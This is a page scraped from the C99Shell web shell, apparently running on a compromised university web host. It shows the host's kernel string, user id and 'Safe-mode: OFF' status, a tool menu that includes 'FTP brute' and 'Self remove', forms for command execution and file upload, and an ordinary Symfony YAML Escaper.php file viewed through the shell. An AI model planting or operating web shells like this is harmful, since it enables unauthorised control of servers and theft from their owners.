!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/symfony/yaml/   drwxr-xr-x
Free 117.06 GB of 200.55 GB (58.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Escaper.php (3.78 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Yaml;

/**
 * Escaper encapsulates escaping rules for single and double-quoted
 * YAML strings.
 *
 * @author Matthew Lewinski <matthew@lewinski.org>
 *
 * @internal
 */
class Escaper
{
    
// Characters that would cause a dumped string to require double quoting.
    
const REGEX_CHARACTER_TO_ESCAPE "[\\x00-\\x1f]|\xc2\x85|\xc2\xa0|\xe2\x80\xa8|\xe2\x80\xa9";

    
// Mapping arrays for escaping a double quoted string. The backslash is
    // first to ensure proper escaping because str_replace operates iteratively
    // on the input arrays. This ordering of the characters avoids the use of strtr,
    // which performs more slowly.
    
private static $escapees = array('\\''\\\\''\\"''"',
                                     
"\x00",  "\x01",  "\x02",  "\x03",  "\x04",  "\x05",  "\x06",  "\x07",
                                     
"\x08",  "\x09",  "\x0a",  "\x0b",  "\x0c",  "\x0d",  "\x0e",  "\x0f",
                                     
"\x10",  "\x11",  "\x12",  "\x13",  "\x14",  "\x15",  "\x16",  "\x17",
                                     
"\x18",  "\x19",  "\x1a",  "\x1b",  "\x1c",  "\x1d",  "\x1e",  "\x1f",
                                     
"\xc2\x85""\xc2\xa0""\xe2\x80\xa8""\xe2\x80\xa9");
    private static 
$escaped = array('\\\\''\\"''\\\\''\\"',
                                     
'\\0',   '\\x01''\\x02''\\x03''\\x04''\\x05''\\x06''\\a',
                                     
'\\b',   '\\t',   '\\n',   '\\v',   '\\f',   '\\r',   '\\x0e''\\x0f',
                                     
'\\x10''\\x11''\\x12''\\x13''\\x14''\\x15''\\x16''\\x17',
                                     
'\\x18''\\x19''\\x1a''\\e',   '\\x1c''\\x1d''\\x1e''\\x1f',
                                     
'\\N''\\_''\\L''\\P');

    
/**
     * Determines if a PHP value would require double quoting in YAML.
     *
     * @param string $value A PHP value
     *
     * @return bool True if the value would require double quotes
     */
    
public static function requiresDoubleQuoting($value)
    {
        return 
preg_match('/'.self::REGEX_CHARACTER_TO_ESCAPE.'/u'$value);
    }

    
/**
     * Escapes and surrounds a PHP value with double quotes.
     *
     * @param string $value A PHP value
     *
     * @return string The quoted, escaped string
     */
    
public static function escapeWithDoubleQuotes($value)
    {
        return 
sprintf('"%s"'str_replace(self::$escapeesself::$escaped$value));
    }

    
/**
     * Determines if a PHP value would require single quoting in YAML.
     *
     * @param string $value A PHP value
     *
     * @return bool True if the value would require single quotes
     */
    
public static function requiresSingleQuoting($value)
    {
        
// Determines if a PHP value is entirely composed of a value that would
        // require single quoting in YAML.
        
if (in_array(strtolower($value), array('null''~''true''false''y''n''yes''no''on''off'))) {
            return 
true;
        }

        
// Determines if the PHP value contains any single characters that would
        // cause it to require single quoting in YAML.
        
return preg_match('/[ \s \' " \: \{ \} \[ \] , & \* \# \?] | \A[ \- ? | < > = ! % @ ` ]/x'$value);
    }

    
/**
     * Escapes and surrounds a PHP value with single quotes.
     *
     * @param string $value A PHP value
     *
     * @return string The quoted, escaped string
     */
    
public static function escapeWithSingleQuotes($value)
    {
        return 
sprintf("'%s'"str_replace('\'''\'\''$value));
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0133 ]--